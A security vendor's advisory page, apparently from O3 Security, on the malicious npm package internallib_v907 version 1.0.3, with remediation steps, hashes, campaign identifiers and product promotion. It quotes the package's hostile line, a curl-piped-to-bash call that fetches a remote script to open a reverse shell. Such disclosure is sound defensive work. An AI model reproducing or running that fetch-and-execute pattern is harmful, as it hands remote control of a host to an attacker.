Which versions of internallib_v907 are malicious?

The following npm versions of internallib_v907 are flagged malicious: 1.0.3. Treat any of these as compromised.

How do I remediate internallib_v907 if I installed it?

internallib_v907 establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed internallib_v907 — how do I know if it already compromised me?

If internallib_v907 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is internallib_v907 part of a known attack campaign?

Yes — internallib_v907 is associated with the GHSA-4jf7-q8jf-84cg, IN-MAL-2026-010711 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find internallib_v907 across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for internallib_v907 (version 1.0.3). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging internallib_v907 across your stack and pipelines.

Malicious package

internallib_v907npm

internallib_v907 is a confirmed malicious npm package (MAL-2026-10691) that opens a backdoor for remote access (malicious version 1.0.3). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in internallib_v907 (npm)

MAL-2026-10691

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall internallib_v907

What this malware does

index.js line 5 invokes exec('/bin/bash -c "curl https://reverse-shell.sh/... | sh"'), piping a remote script directly into a shell. The fetched payload establishes a reverse shell to the hardcoded endpoint 10.0.67.6:4444, giving a remote operator interactive shell access on the host running the package. The destination is not caller-configurable, no integrity check is performed on the fetched script, and the package name (internallib_v907) does not correspond to any documented functionality that would justify remote shell execution.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged

1.0.3

Indicators of compromise (SHA-256)

3c850b86a20a3638c4500c1d45e839bcce3b889e2ee9e752c6af86eb7e95a750

40689180cd10e4352f018c9ffc96ddd110f12299bd83f195fe9879e28d1de59e

Detection & response playbook

Backdoor / remote access

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for internallib_v907 (version 1.0.3). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging internallib_v907 across your stack and pipelines.
If you installed it — respond
internallib_v907 establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If internallib_v907 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks internallib_v907 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. internallib_v907 on npm has been identified as a malicious package (version 1.0.3 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

GHSA-4jf7-q8jf-84cgIN-MAL-2026-010711

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks internallib_v907-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database